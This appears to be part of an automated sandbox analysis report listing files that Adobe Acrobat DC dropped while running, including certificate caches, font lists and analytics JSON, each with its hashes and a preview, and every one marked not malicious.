SSDEEP:	384:yeCci5GxiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:N9urVgazUpUTTGt
MD5:	975A1963A91063DE390105FCDFDAA0A2
SHA1:	11F5EE73DC3F8473113C9D8B5695C34B0E23047A
SHA-256:	9CD500BC7D7D039CF343F82A4C93ABA987CE30F86A3E7DE2953221152966A2BB
SHA-512:	28DDD3C16D77078CCE05C140A7FE1158CFA7CC92BFF7AFC12DBB78DEC53420705C4D923045C9EDBF03119585D94D7795C3E56C51356BEFEA06E7340A632F978E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7668842364300255
Encrypted:	false
SSDEEP:	48:7MgJioyV4ioyCoy1C7oy16oy12KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O8:7PJu4+hXjBivb9IVXEBodRBk7
MD5:	453DC2D4938DC26D937537C445AE2CC5
SHA1:	865910A2F01EECCC251E329C36A54E678D08E4E8
SHA-256:	2F3F321B616E47B37F9D1581E157C2DBCFB556EC8E704E7674C617BE76802FFF
SHA-512:	38122293618A73BB9AAD89A99D3FBEBAE9F6C79FB72B906A28B76774FCF4744A8C6C297557322795F148CCFB101C080201D58E87EA9164355BA9AAB775DB9FB6
Malicious:	false
Preview:	.... .c.......\s...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklL35pEttfllXlE/HT8k50JlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKaEteT8wydNMa8RdWBwRd
MD5:	EF4EDB3F3D8FA91F8A031EC454A1B30E
SHA1:	AA32AFD98D002C36DF0098731284FC3CEABECA09
SHA-256:	C7EA178A3B9119B237246F35DA80041B6BEE91C1D83F1431E6104A709014F299
SHA-512:	3885189ED6CCD470CD867E5E98AD28607C60E87618EBDDBE860383B605010346D5C35192467B268BAA49D4324097EA79F4B08DCCF092B51B3B5E78BCB8DCA2A8
Malicious:	false
Preview:	p...... ........xR..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKubNtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:GbNtiDImsLNkPlE99SNxAhUe/3
MD5:	1D1B4DD4CAA4B1449A40E01109AA5E99
SHA1:	BB43B90B66A1EC92E4FCD914A838FA8308582523
SHA-256:	91D3E0F681CA292C040DC3301DFFFB66C5F58FE5493BC32056CD45B91E6DDFCB
SHA-512:	4DEACAB94A644C95DC6BD26BD624CB3029A13BB7FF97DE4EA69320E398941B90BE04C4C3D7B152A8F37AEA8B0F89FA2E451ECDA7F107427413E4C14EC465ADDB
Malicious:	false
Preview:	p...... ...........c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.372807450407174
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJM3g98kUwPeUkwRe9:YvXKX/1UitookGMbLUkee9
MD5:	B3799743B097E5F2C3C50F429CD5C8A3
SHA1:	693B75A0EF9F8D273C351810BD1BBD549AAFD4EF
SHA-256:	AF6309DFB82AAF0EDA0DA8657CA591EB9D69FF9E104E5AAAAEF6495FA586F36B
SHA-512:	0160B6E270E063F12BECC28BC3696C2F6BD1FED97E835C34C8DBAF66DED2715612AB61BDFC0D374F8B54AB78117B5A6C355282403F25F77BB852BEF2149E1025
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3203125930003665
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfBoTfXpnrPeUkwRe9:YvXKX/1UitookGWTfXcUkee9
MD5:	4DD2028E09E95F015CE11AE81A5E72D2
SHA1:	39CB493F9043BA063BF4C602751C9343BDE8063E
SHA-256:	CC8738C48985A048713DA736AE3D6477AA78EF2D4CA7032B1ADD06E8B8A985B6
SHA-512:	D5431FA9E382946194875700DF9CBC85FE7A0A2836838BA3070F495EF45C1493CE6A5B92775AF5B6ACD37C33457821F7E940595934B907DCEC889FE426104605
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298572088358174
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfBD2G6UpnrPeUkwRe9:YvXKX/1UitookGR22cUkee9
MD5:	30E91125F2E6E173746632CA4882D308
SHA1:	E2A09021D54233DB93DDF6D6080B65D6742F963A
SHA-256:	3564942AB419080BAD18C1CC431963897EAF955E962FABA2B7727FF25DB5B98F
SHA-512:	046D8C5C3AD264B678A8DCC5240EC89EC711EF28C43564A4199AAF579306E7DEAAB29289784342E90A423AD20208AD7A54C6FE8C6646F55A1E1FC8FBB1677E92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3638173327374785
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfPmwrPeUkwRe9:YvXKX/1UitookGH56Ukee9
MD5:	0E0F0E7406D97DE640E090616890A5FF
SHA1:	F0694FED6FEE90BDE2F015556D98235196CFFA46
SHA-256:	7C965807DA3D20343A5F6831672D86DD3B1724604881AE60EB2EE0F39EBEB1FF
SHA-512:	79AEB3312E9054FC42D6AA625513C7242C174605FFBAE1907A358D0105F3DBD5A422CF6650E1B00EDBEB9425C2443CDE6A73304E9C641E561F1CCEF1C6BEE78B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.695959047581917
Encrypted:	false
SSDEEP:	24:Yv6X/D6ohpLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:YvE6ohhgy6SAFv5Ah8cv/E
MD5:	DEAC24FC580F4A03BE700090DDFF84DC
SHA1:	1061942095D8075408A6B92C5AAD03740AC90E2F
SHA-256:	CF1F07BEB52BE1819373C443783BB69DB1D98E642D5F18CCA386C4AAED591210
SHA-512:	458FFAAA262601DD237CF3FC816D852835240FB82210D856C938E680BD18828AD0A405D3AA5DE7A1EBD79F5FB9AB37F06A047269245318E70D280C4FD82B46AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312407058472217
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJf8dPeUkwRe9:YvXKX/1UitookGU8Ukee9
MD5:	D816C31797DB65D8F1EC1398CEF35B60
SHA1:	E97BFC34880A5731F814354C74FB5D288A3C4A46
SHA-256:	59A39161B155B3678E767299C03D3816E9418B6548CF57BD4991B9AA73833E1E
SHA-512:	651AB69F3E10C2ED09B43659B0B471E4C9EF5B3FCB7B472C3607C02BFF1D010A058B77A3AD78F3458D9F61818AC25CBEEC97A0EC90E7D358A6778DB86AEA1617
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.312905163274037
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfQ1rPeUkwRe9:YvXKX/1UitookGY16Ukee9
MD5:	14B703AFDC4AD90E640B29DE82AE1A2E
SHA1:	96C8CE8FCBBF1B421FF89DE6E2267FAB34640A24
SHA-256:	5CD0A5D5D2B5A451ADCC965ADFF12C3C2180CE4320B5461EE7C1C4EF99B20531
SHA-512:	552DB1F8810CEDA7891815D5736AC69894C3C4B13028F1A1C933CEE2F827C33305C011BD6450E422BC259CB9EE801658ABD24437530AA68EC08C1A547B61D068
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54702842-502c-48ed-8f48-708cd1549612","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736723650496,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.321710142529627
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/9fUib5Glvp0YM7oAvJfFldPeUkwRe9:YvXKX/1UitookGz8Ukee9
MD5:	C16503E392FE192D5430C14E32C6886D
SHA1:	2800C3E9A32A6CBD7C7B367705653487689A20BA
SHA-256:	661300225AA6765450A97E9D0369090B6F491A47563C42BB17FAA5D3CD3C33A1
SHA-512:	5F160B2F8EAB5A61839022F7C2502A2F5BD6252EA4FA10BEAA4756B387C9BB21C407871A8872C43F40B892176DB397C7CAB318DD0525B0B7734E0CFA926BCF5E
Malicious:	false
